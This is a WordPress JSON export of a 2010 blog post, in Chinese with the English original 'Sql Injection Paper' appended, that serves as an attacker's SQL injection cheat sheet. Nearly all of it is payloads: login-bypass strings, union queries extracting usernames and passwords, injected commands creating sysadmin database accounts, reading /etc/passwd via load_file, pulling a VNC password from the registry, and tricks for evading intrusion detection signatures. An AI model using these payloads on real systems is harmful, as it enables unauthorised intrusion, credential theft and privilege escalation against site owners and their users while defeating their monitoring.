{"id":111,"date":"2010-05-20T20:04:48","date_gmt":"2010-05-20T20:04:48","guid":{"rendered":"698d51a19d8a121ce581499d7b701668"},"modified":"2010-05-20T20:04:48","modified_gmt":"2010-05-20T20:04:48","slug":"","status":"publish","type":"post","link":"https:\/\/www.xiaobo.li\/notes\/archives\/111","title":{"rendered":"SQL\u6ce8\u5c04\u6280\u672f"},"content":{"rendered":"<p>====||\u76ee\u5f55||=====<br \/>--------------------<br \/>1\u3001\u7b80\u4ecb<br \/>2\u3001\u6f0f\u6d1e\u6d4b\u8bd5<br \/>3\u3001\u6536\u96c6\u4fe1\u606f<br \/>4\u3001\u6570\u636e\u7c7b\u578b<br \/>5\u3001\u6293\u53d6\u5bc6\u7801<br \/>6\u3001\u521b\u5efa\u6570\u636e\u5e93\u5e10\u53f7<br \/>7\u3001MYSQL\u5229\u7528<br \/>8\u3001\u670d\u52a1\u540d\u548c\u914d\u7f6e<br \/>9\u3001\u5728\u6ce8\u518c\u8868\u4e2d\u627eVNC\u5bc6\u7801<br \/>10\u3001\u523a\u7a7fIDS\u8ba4\u8bc1<br \/>11\u3001\u5728MYSQL\u4e2d\u4f7f\u7528char()\u6b3a\u9a97<br \/>12\u3001\u7528\u6ce8\u91ca\u8eb2\u907fIDS\u8ba4\u8bc1<br \/>13\u3001\u6784\u9020\u65e0\u5f15\u53f7\u7684\u5b57\u7b26\u4e32<\/p>\n<p>====||\u6587\u7ae0\u5f00\u59cb||====<\/p>\n<p>1\u3001\u7b80\u4ecb<\/p>\n<p>\u5f53\u4f60\u770b\u5230\u4e00\u4e2a\u670d\u52a1\u5668\u53ea\u5f00\u4e8680\u7aef\u53e3\uff0c\u8fd9\u5728\u4e00\u5b9a\u7a0b\u5ea6\u4e0a\u8bf4\u660e\u7ba1\u7406\u5458\u628a\u7cfb\u7edf\u7684\u8865\u4e01\u505a\u7684\u5f88\u597d\uff0c\u6211\u4eec\u6240\u8981\u505a\u6700\u6709\u6548\u7684\u653b\u51fb\u5219\u4e5f\u5e94\u8be5\u8f6c\u5411WEB\u653b\u51fb\u3002SQL\u6ce8\u5c04\u662f\u6700\u5e38\u7528\u7684\u653b\u51fb\u65b9\u5f0f\u3002\u4f60\u653b\u51fbWEN\u7cfb\u7edf\uff08ASP\uff0cPHP\uff0cJSP\uff0cCGI\u7b49\uff09\u6bd4\u53bb\u653b\u51fb\u7cfb\u7edf\u6216\u8005\u5176\u4ed6\u7684\u7cfb\u7edf\u670d\u52a1\u8981\u7b80\u5355\u7684\u591a\u3002<br \/>SQL\u6ce8\u5c04\u662f\u901a\u8fc7\u9875\u9762\u4e2d\u7684\u8f93\u5165\u6765\u6b3a\u9a97\u4f7f\u5f97\u5176\u53ef\u4ee5\u8fd0\u884c\u6211\u4eec\u6784\u9020\u7684\u67e5\u8be2\u6216\u8005\u522b\u7684\u547d\u4ee4\uff0c\u6211\u4eec\u77e5\u9053\u5728WEB\u4e0a\u9762\u6709\u5f88\u591a\u4f9b\u6211\u4eec\u8f93\u5165\u53c2\u6570\u7684\u5730\u65b9\uff0c\u6bd4\u5982\u7528\u6237\u540d\u3001\u5bc6\u7801\u6216\u8005E_mail\u3002<\/p>\n<p>2\u3001\u6f0f\u6d1e\u6d4b\u8bd5<\/p>\n<p>\u6700\u5f00\u59cb\u6211\u4eec\u5e94\u8be5\u4ece\u6700\u7b80\u5355\u7684\u6765\u8bd5\uff1a<\/p>\n<p>- Login:&#39; or 1=1--<br \/>- Pass:&#39; or 1=1--<br \/>- <a href=\"http:\/\/website\/index.asp?id=&amp;#39;\" target=\"_blank\" title=\"http:\/\/website\/index.asp?id=&amp;#39;\">http:\/\/website\/index.asp?id=&amp;#39;<\/a><br \/>\n or 1=1-- <\/p>\n<p>\u8fd8\u6709\u4e0b\u9762\u8fd9\u6837\u7684\u65b9\u5f0f\uff1a<\/p>\n<p>- &#39; having 1=1--<br \/>- &#39; group by userid having 1=1--<br \/>- &#39; SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = &#39;tablename&#39;)--<br \/>- &#39; union select sum(columnname) from tablename--<\/p>\n<p>3\u3001\u6536\u96c6\u4fe1\u606f<\/p>\n<p>- &#39; or 1 in (select @@version)--<br \/>- &#39; union all select @@version--<\/p>\n<p>\u4e0a\u9762\u5c31\u53ef\u4ee5\u5f97\u5230\u7cfb\u7edf\u7684\u7248\u672c\u548c\u8865\u4e01\u4fe1\u606f\u3002<\/p>\n<p>4\u3001\u6570\u636e\u7c7b\u578b<\/p>\n<p>Oracle\u6570\u636e\u5e93&gt;&gt;<br \/>--&gt;SYS.USER_OBJECTS (USEROBJECTS)<br \/>--&gt;SYS.USER_VIEWS<br \/>--&gt;SYS.USER_TABLES<br \/>--&gt;SYS.USER_VIEWS<br \/>--&gt;SYS.USER_TAB_COLUMNS<br \/>--&gt;SYS.USER_CATALOG<br \/>--&gt;SYS.USER_TRIGGERS<br \/>--&gt;SYS.ALL_TABLES<br \/>--&gt;SYS.TAB<br \/>MySQL\u6570\u636e\u5e93<br \/>--&gt;mysql.user<br \/>--&gt;mysql.host<br \/>--&gt;mysql.db<\/p>\n<p>MS access\u6570\u636e<br \/>--&gt;MsysACEs<br \/>--&gt;MsysObjects<br \/>--&gt;MsysQueries<br \/>--&gt;MsysRelationships<\/p>\n<p>MS SQL Server\u6570\u636e\u5e93<br \/>--&gt;sysobjects<br \/>--&gt;syscolumns<br \/>--&gt;systypes<br \/>--&gt;sysdatabases<\/p>\n<p>5\u3001\u6293\u53d6\u5bc6\u7801<\/p>\n<p>\u7528\u7c7b\u4f3c\u4e0b\u9762\u7684\u8bed\u53e5\u3002\u3002\u3002<br \/>\/\/\u4fdd\u5b58\u67e5\u8be2\u7684\u7ed3\u679c<br \/>step1 : &#39;; begin declare @var varchar(8000) set @var=&#39;:&#39; select @var=@var+&#39;+login+&#39;\/&#39;+password+&#39; &#39; from users where login &gt; @var select @var as var into temp end --<br \/>\/\/\u53d6\u5f97\u4fe1\u606f<br \/>step2 : &#39; and 1 in (select var from temp)--<br \/>\/\/\u5220\u9664\u4e34\u65f6\u8868<br \/>step3 : &#39; ; drop table temp --<\/p>\n<p>6\u3001\u521b\u5efa\u6570\u636e\u5e93\u5e10\u53f7<\/p>\n<p>MS SQL<br \/>exec sp_addlogin &#39;name&#39; , &#39;password&#39;<br \/>exec sp_addsrvrolemember &#39;name&#39; , &#39;sysadmin&#39;<\/p>\n<p>MySQL<br \/>INSERT INTO mysql.user (user, host, password) VALUES (&#39;name&#39;, &#39;localhost&#39;, PASSWORD(&#39;pass123&#39;))<\/p>\n<p>Access<br \/>CRATE USER name IDENTIFIED BY &#39;pass123&#39;<\/p>\n<p>Postgres (requires Unix account)<br \/>CRATE USER name WITH PASSWORD &#39;pass123&#39;<\/p>\n<p>Oracle<br \/>CRATE USER name IDENTIFIED BY pass123<br \/>TEMPORARY TABLESPACE temp<br \/>DEFAULT TABLESPACE users;<br \/>GRANT CONNECT TO name;<br \/>GRANT RESOURCE TO name;<\/p>\n<p>7\u3001MYSQL\u4ea4\u4e92\u67e5\u8be2<\/p>\n<p>\u4f7f\u7528Union\u67e5\u8be2\uff0c\u66b4\u51fa\u6587\u4ef6\u4ee3\u7801\uff0c\u5982\u4e0b\uff1a<br \/>- &#39; union select 1,load_file(&#39;\/etc\/passwd&#39;),1,1,1;<\/p>\n<p>8\u3001\u7cfb\u7edf\u670d\u52a1\u540d\u548c\u914d\u7f6e<\/p>\n<p>- &#39; and 1 in (select @@servername)--<br \/>- &#39; and 1 in (select servername from master.sysservers)--<\/p>\n<p>9\u3001\u627e\u5230VNC\u5bc6\u7801\uff08\u6ce8\u518c\u8868\uff09<\/p>\n<p>\u5b9e\u9a8c\u8bed\u53e5\u5982\u4e0b\uff1a<\/p>\n<p>- &#39;; declare @out binary(8)<br \/>- exec master..xp_regread<br \/>- @rootkey = &#39;HKEY_LOCAL_MACHINE&#39;,<br \/>- @key = &#39;SOFTWARE\\ORL\\WinVNC3\\Default&#39;,<br \/>- @value_name=&#39;password&#39;,<br \/>- @value = @out output<br \/>- select cast (@out as bigint) as x into TEMP--<br \/>- &#39; and 1 in (select cast(x as varchar) from temp)--<\/p>\n<p>10\u3001\u907f\u5f00IDS\u68c0\u6d4b<\/p>\n<p>Evading &#39; OR 1=1 Signature<\/p>\n<p>- &#39; OR &#39;unusual&#39; = &#39;unusual&#39;<br \/>- &#39; OR &#39;something&#39; = &#39;some&#39;+&#39;thing&#39;<br \/>- &#39; OR &#39;text&#39; = N&#39;text&#39;<br \/>- &#39; OR &#39;something&#39; like &#39;some%&#39;<br \/>- &#39; OR 2 &gt; 1<br \/>- &#39; OR &#39;text&#39; &gt; &#39;t&#39;<br \/>- &#39; OR &#39;whatever&#39; in (&#39;whatever&#39;)<br \/>- &#39; OR 2 BETWEEN 1 and 3<\/p>\n<p>11\u3001MYSQL\u4e2d\u4f7f\u7528char()\u51fd\u6570<\/p>\n<p>\u4e0d\u5e26\u5f15\u53f7\u7684\u6ce8\u5c04\uff0c\u4f8b\u5982\uff1a (string = &quot;%&quot;):<br \/>--&gt; &#39; or username like char(37);<br \/>\u5e26\u5f15\u53f7\u7684\u6ce8\u5c04\uff0c\u4f8b\u5982\uff1a (string=&quot;root&quot;):<br \/>--&gt; &#39; union select * from users where login = char(114,111,111,116);<br \/>\u5728 unions\u4e2d\u4f7f\u7528load files \u51fd\u6570\uff0c\u4f8b\u5982\uff1a(string = &quot;\/etc\/passwd&quot;):<br \/>--&gt;&#39; union select 1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;<br \/>\u68c0\u67e5\u6587\u4ef6\u662f\u5426\u5b58\u5728\uff0c\u4f8b\u5982\uff1a (string = &quot;n.ext&quot;):<br \/>--&gt;&#39; and 1=( if((load_file(char(110,46,101,120,116))&lt;&gt;char(39,39)),1,0));<\/p>\n<p>12\u3001\u5229\u7528\u6ce8\u91ca\u7b26\u53f7\u907f\u5f00IDS<\/p>\n<p>\u4e3e\u4f8b\u5982\u4e0b\uff1a<\/p>\n<p>--&gt;&#39;\/**\/OR\/**\/1\/**\/=\/**\/1<br \/>--&gt;Username:&#39; or 1\/*<br \/>--&gt;Password:*\/=1--<br \/>--&gt;UNI\/**\/ON SEL\/**\/ECT \uff08\uff01\uff01\uff01\u8fd9\u4e2a\u6bd4\u8f83\u7f55\u89c1\uff0c\u5e94\u8be5\u5927\u6709\u4f5c\u4e3a\uff01\uff01\uff01\uff09<br \/>--&gt;(Oracle) &#39;; EXECUTE IMMEDIATE &#39;SEL&#39; || &#39;ECT US&#39; || &#39;ER&#39;<br \/>--&gt;(MS SQL) &#39;; EXEC (&#39;SEL&#39; + &#39;ECT US&#39; + &#39;ER&#39;)<\/p>\n<p>13\u3001\u4e0d\u5e26\u5f15\u53f7\u7684\u5b57\u7b26\u4e32<\/p>\n<p>\u7528char()\u6216\u80050X\u6765\u6784\u9020\u4e0d\u542b\u5f15\u53f7\u7684\u8bed\u53e5\u3002\u3002<br \/>--&gt; INSERT INTO Users(Login, Password, Level) VALUES( char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72) + char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72), 0x64)<\/p>\n<p>======================================================================<\/p>\n<p>\u9644\u5f55\u539f\u6587\uff1a<\/p>\n<p>Sql Injection Paper <br \/>By zeroday. <br \/>zeroday [ at ] blacksecurity.org <\/p>\n<p>1.Introduction.<br \/>2.Testing for vulnerabilities.<br \/>3.Gathering Information.<br \/>4.Data types.<br \/>5.Grabbing Passwords.<br \/>6.Create DB accounts.<br \/>7.MySQL OS Interaction.<br \/>8.Server name and config.<br \/>9.Retrieving VNC password from registry.<br \/>10.IDS Signature Evasion.<br \/>11.mySQL Input Validation Circumvention using Char().<br \/>12.IDS Signature Evasion using comments.<br \/>13.Strings without quotes.<\/p>\n<p>1. When a box only has port 80 open, it&#39;s almost certain the admin will patch his server,<br \/>The best thing to turn to is web attacks. Sql Injection is one of the most common web attacks.<br \/>You attack the web application, ( ASP, JSP, PHP, CGI..etc) rather than the webserver<br \/>or the services running on the OS.<br \/>Sql injection is a way to trick using a qurey or command as a input via webpages, <br \/>most websites take parameters from the user like username and passwrod or even their emails.<br \/>They all use Sql querys.<\/p>\n<p>2. First of you should start with something simple.<br \/>- Login:&#39; or 1=1--<br \/>- Pass:&#39; or 1=1--<br \/>- <a href=\"http:\/\/website\/index.asp?id=&amp;#39;\" target=\"_blank\" title=\"http:\/\/website\/index.asp?id=&amp;#39;\">http:\/\/website\/index.asp?id=&amp;#39;<\/a><br \/>\n or 1=1-- <br \/>These are simple ways to try another ones are:<br \/>- &#39; having 1=1--<br \/>- &#39; group by userid having 1=1--<br \/>- &#39; SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = &#39;tablename&#39;)--<br \/>- &#39; union select sum(columnname) from tablename--<\/p>\n<p>3.Gathering Infomation.<br \/>- &#39; or 1 in (select @@version)--<br \/>- &#39; union all select @@version--<br \/>Those will Find the actual Version of the computer, OS\/service pack.<\/p>\n<p>4.Data types.<\/p>\n<p>Oracle<br \/>--&gt;SYS.USER_OBJECTS (USEROBJECTS)<br \/>--&gt;SYS.USER_VIEWS<br \/>--&gt;SYS.USER_TABLES<br \/>--&gt;SYS.USER_VIEWS<br \/>--&gt;SYS.USER_TAB_COLUMNS<br \/>--&gt;SYS.USER_CATALOG<br \/>--&gt;SYS.USER_TRIGGERS<br \/>--&gt;SYS.ALL_TABLES<br \/>--&gt;SYS.TAB<\/p>\n<p>MySQL<br \/>--&gt;mysql.user<br \/>--&gt;mysql.host<br \/>--&gt;mysql.db<\/p>\n<p>MS access<br \/>--&gt;MsysACEs<br \/>--&gt;MsysObjects<br \/>--&gt;MsysQueries<br \/>--&gt;MsysRelationships<\/p>\n<p>MS SQL Server<br \/>--&gt;sysobjects<br \/>--&gt;syscolumns<br \/>--&gt;systypes<br \/>--&gt;sysdatabases<\/p>\n<p>5.Grabbing passwords<\/p>\n<p>&#39;; begin declare @var varchar(8000) set @var=&#39;:&#39; select @var=@var+&#39;+login+&#39;\/&#39;+password+&#39; &#39; from users where login &gt; @var select @var as var into temp end --<\/p>\n<p>&#39; and 1 in (select var from temp)--<\/p>\n<p>&#39; ; drop table temp --<\/p>\n<p>6.Create DB accounts.<\/p>\n<p>MS SQL<br \/>exec sp_addlogin &#39;name&#39; , &#39;password&#39;<br \/>exec sp_addsrvrolemember &#39;name&#39; , &#39;sysadmin&#39;<\/p>\n<p>MySQL<br \/>INSERT INTO mysql.user (user, host, password) VALUES (&#39;name&#39;, &#39;localhost&#39;, PASSWORD(&#39;pass123&#39;))<\/p>\n<p>Access<br \/>CRATE USER name IDENTIFIED BY &#39;pass123&#39;<\/p>\n<p>Postgres (requires Unix account)<br \/>CRATE USER name WITH PASSWORD &#39;pass123&#39;<\/p>\n<p>Oracle<br \/>CRATE USER name IDENTIFIED BY pass123<br \/>TEMPORARY TABLESPACE temp<br \/>DEFAULT TABLESPACE users;<br \/>GRANT CONNECT TO name;<br \/>GRANT RESOURCE TO name;<\/p>\n<p>7.MySQL OS Interaction<\/p>\n<p>- &#39; union select 1,load_file(&#39;\/etc\/passwd&#39;),1,1,1;<\/p>\n<p>8.Server name and config.<\/p>\n<p>- &#39; and 1 in (select @@servername)--<br \/>- &#39; and 1 in (select servername from master.sysservers)--<\/p>\n<p>9.Retrieving VNC password from registry.<\/p>\n<p>- &#39;; declare @out binary(8)<br \/>- exec master..xp_regread<br \/>- @rootkey = &#39;HKEY_LOCAL_MACHINE&#39;,<br \/>- @key = &#39;SOFTWARE\\ORL\\WinVNC3\\Default&#39;,<br \/>- @value_name=&#39;password&#39;,<br \/>- @value = @out output<br \/>- select cast (@out as bigint) as x into TEMP--<br \/>- &#39; and 1 in (select cast(x as varchar) from temp)--<\/p>\n<p>10.IDS Signature Evasion.<br \/>Evading &#39; OR 1=1 Signature<\/p>\n<p>- &#39; OR &#39;unusual&#39; = &#39;unusual&#39;<br \/>- &#39; OR &#39;something&#39; = &#39;some&#39;+&#39;thing&#39;<br \/>- &#39; OR &#39;text&#39; = N&#39;text&#39;<br \/>- &#39; OR &#39;something&#39; like &#39;some%&#39;<br \/>- &#39; OR 2 &gt; 1<br \/>- &#39; OR &#39;text&#39; &gt; &#39;t&#39;<br \/>- &#39; OR &#39;whatever&#39; in (&#39;whatever&#39;)<br \/>- &#39; OR 2 BETWEEN 1 and 3<\/p>\n<p>11.mySQL Input Validation Circumvention using Char().<\/p>\n<p>Inject without quotes (string = &quot;%&quot;):<br \/>--&gt; &#39; or username like char(37);<br \/>Inject with quotes (string=&quot;root&quot;):<br \/>--&gt; &#39; union select * from users where login = char(114,111,111,116);<br \/>load files in unions (string = &quot;\/etc\/passwd&quot;):<br \/>--&gt;&#39; union select 1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;<br \/>Check for existing files (string = &quot;n.ext&quot;):<br \/>--&gt;&#39; and 1=( if((load_file(char(110,46,101,120,116))&lt;&gt;char(39,39)),1,0));<\/p>\n<p>12.IDS Signature Evasion using comments.<\/p>\n<p>--&gt;&#39;\/**\/OR\/**\/1\/**\/=\/**\/1<br \/>--&gt;Username:&#39; or 1\/*<br \/>--&gt;Password:*\/=1--<br \/>--&gt;UNI\/**\/ON SEL\/**\/ECT<br \/>--&gt;(Oracle) &#39;; EXECUTE IMMEDIATE &#39;SEL&#39; || &#39;ECT US&#39; || &#39;ER&#39;<br \/>--&gt;(MS SQL) &#39;; EXEC (&#39;SEL&#39; + &#39;ECT US&#39; + &#39;ER&#39;)<\/p>\n<p>13.Strings without quotes.<br \/>--&gt; INSERT INTO Users(Login, Password, Level) VALUES( char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72) + char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72), 0x64)<\/p>\n","protected":false},"excerpt":{"rendered":"<p>====||\u76ee\u5f55||=====<br \/>--------------------<br \/>1\u3001\u7b80\u4ecb<br \/>2\u3001\u6f0f\u6d1e\u6d4b\u8bd5<br \/>3\u3001\u6536\u96c6\u4fe1\u606f<br \/>4\u3001\u6570\u636e\u7c7b\u578b<br \/>5\u3001\u6293\u53d6\u5bc6\u7801<br \/>6\u3001\u521b\u5efa\u6570\u636e\u5e93\u5e10\u53f7<br \/>7\u3001MYSQL\u5229\u7528<br \/>8\u3001\u670d\u52a1\u540d\u548c\u914d\u7f6e<br \/>9\u3001\u5728\u6ce8\u518c\u8868\u4e2d\u627eVNC\u5bc6\u7801<br \/>10\u3001\u523a\u7a7fIDS\u8ba4\u8bc1<br \/>11\u3001\u5728MYSQL\u4e2d\u4f7f\u7528char()\u6b3a\u9a97<br \/>12\u3001\u7528\u6ce8\u91ca\u8eb2\u907fIDS\u8ba4\u8bc1<br \/>13\u3001\u6784\u9020\u65e0\u5f15\u53f7\u7684\u5b57\u7b26\u4e32<\/p>\n<p>====||\u6587\u7ae0\u5f00\u59cb||====<\/p>\n<p>1\u3001\u7b80\u4ecb<\/p>\n<p>\u5f53\u4f60\u770b\u5230\u4e00\u4e2a\u670d\u52a1\u5668\u53ea\u5f00\u4e8680\u7aef\u53e3\uff0c\u8fd9\u5728\u4e00\u5b9a\u7a0b\u5ea6...<\/p>\n<p> <a href=\"https:\/\/www.xiaobo.li\/notes\/archives\/111\">\u7ee7\u7eed\u9605\u8bfb <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[273],"tags":[3],"class_list":["post-111","post","type-post","status-publish","format-standard","hentry","category-article","tag-SQL"],"_links":{"self":[{"href":"https:\/\/www.xiaobo.li\/notes\/wp-json\/wp\/v2\/posts\/111","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.xiaobo.li\/notes\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.xiaobo.li\/notes\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.xiaobo.li\/notes\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.xiaobo.li\/notes\/wp-json\/wp\/v2\/comments?post=111"}],"version-history":[{"count":0,"href":"https:\/\/www.xiaobo.li\/notes\/wp-json\/wp\/v2\/posts\/111\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.xiaobo.li\/notes\/wp-json\/wp\/v2\/media?parent=111"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.xiaobo.li\/notes\/wp-json\/wp\/v2\/categories?post=111"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.xiaobo.li\/notes\/wp-json\/wp\/v2\/tags?post=111"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}